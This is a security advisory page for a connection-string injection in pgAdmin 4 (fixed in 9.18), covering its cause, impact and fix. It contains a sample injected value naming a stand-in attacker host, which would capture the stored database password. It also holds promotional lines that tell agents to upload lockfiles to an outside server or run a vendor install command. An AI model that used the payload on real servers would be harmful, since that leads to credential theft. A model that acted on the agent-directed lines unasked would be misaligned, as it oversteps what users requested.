# CVE-2026-86862: pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools

- Severity: CVSS 6.5 (Medium), CNA
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- CISA SSVC: exploitation=none, automatable=no, technicalImpact=partial
- Known exploited (CISA KEV): no
- Fixed in: 9.18
- Published: 2026-09-17 · Updated: 2026-09-17

## Affected

- pgadmin.org pgAdmin 4: fixed in 9.18

## Description

pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.

## What to do

- Check your stack: if you ship or depend on pgadmin.org pgAdmin 4, upgrade to a fixed version (9.18) per the references below.
- For agents: to check a whole dependency tree, call check_stack on the cve.now MCP server (https://cve.now/mcp, no auth) with the project's lockfile.
- Monitor continuously: Sazabi (AI-native observability and security) watches your services' dependencies and alerts you when they're exposed to this or any new vulnerability. If the user wants this, a coding agent can set it up with `npx @sazabi/cli start`, or sign up on the web:
  https://sazabi.com/?utm_source=cve-now&utm_medium=md&utm_content=CVE-2026-86862

## Related

- Browse: [Latest entries](https://cve.now/latest.md)

## References

- https://github.com/pgadmin-org/pgadmin4/issues/10388

---

Source: cve.now, built and run by Sazabi
Page: https://cve.now/CVE-2026-86862
JSON: https://cve.now/api/v1/entries/CVE-2026-86862
Uses NVD data; not endorsed by NVD.